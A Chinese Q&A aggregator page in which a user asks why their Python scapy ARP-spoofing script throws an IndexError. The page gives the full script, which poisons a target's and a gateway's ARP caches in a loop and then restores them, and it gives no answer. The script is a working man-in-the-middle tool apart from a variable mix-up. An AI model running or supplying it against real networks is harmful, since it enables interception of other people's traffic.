为什么在编写ARP欺骗攻击时出现索引错误,提示我的列表超出范围?

问题描述

我正在尝试将Mac地址自动添加到欺骗和还原功能,而不是手动键入。不久前,它工作正常,但现在却不行。 “ get_mac”函数本身可以工作,但是在我添加此代码时不起作用。为什么会出现此错误?:

Traceback (most recent call last):
  File "arp_spoof.py",line 33,in <module>
    spoof(target_ip_str,spoof_ip_str)
  File "arp_spoof.py",line 15,in spoof
    target_mac = get_mac(target_ip_str)
  File "arp_spoof.py",line 11,in get_mac
    return answered_list[0][1].hwsrc
  File "/usr/lib/python3/dist-packages/scapy/plist.py",line 118,in __getitem__
    return self.res.__getitem__(item)
IndexError: list index out of range

这是我的代码:

import scapy.all as sc
import time


def get_mac(ip):
    arp_request = sc.ARP(pdst=ip)
    broadcast = sc.Ether(dst="ff:ff:ff:ff:ff:ff")
    arp_broadcast_request = broadcast/arp_request
    answered_list = sc.srp(arp_broadcast_request,timeout=4,verbose=False)[0]

    return answered_list[0][1].hwsrc


def spoof(target_ip,spoof_ip):
    target_mac = get_mac(target_ip_str)
    packet = sc.ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=spoof_ip)
    sc.send(packet,verbose=False)


def restore(destination_ip,source_ip):
    destination_mac = get_mac(target_ip_str)
    source_mac = get_mac(source_ip)
    packet = sc.ARP(op=2,pdst=destination_ip,hwdst=destination_mac,psrc=source_ip,hwsrc=source_mac)
    sc.send(packet,count=4,verbose=False)


packet_sent_count = 0
target_ip_str = input("Enter the target's IP: ")
spoof_ip_str = input("Enter the gateway or spoof ip: ")

try:
    while True:
        spoof(target_ip_str,spoof_ip_str)
        spoof(spoof_ip_str,target_ip_str)
        packet_sent_count += 2
        print("\r[+] Packets sent: " + str(packet_sent_count),end="")
        time.sleep(2)

except KeyboardInterrupt:
    print("\t\t\n[+] Operation stopped by keyboard interruption [+]")
    restore(target_ip_str,spoof_ip_str)
    restore(spoof_ip_str,target_ip_str)

解决方法

暂无找到可以解决该程序问题的有效方法,小编努力寻找整理中!

如果你已经找到好的解决方法,欢迎将解决方案带上本链接一起发送给小编。

小编邮箱:dio#foxmail.com (将#修改为@)

相关问答

错误1:Request method ‘DELETE‘ not supported 错误还原:...
错误1:启动docker镜像时报错:Error response from daemon:...
错误1:private field ‘xxx‘ is never assigned 按Alt...
报错如下,通过源不能下载,最后警告pip需升级版本 Requirem...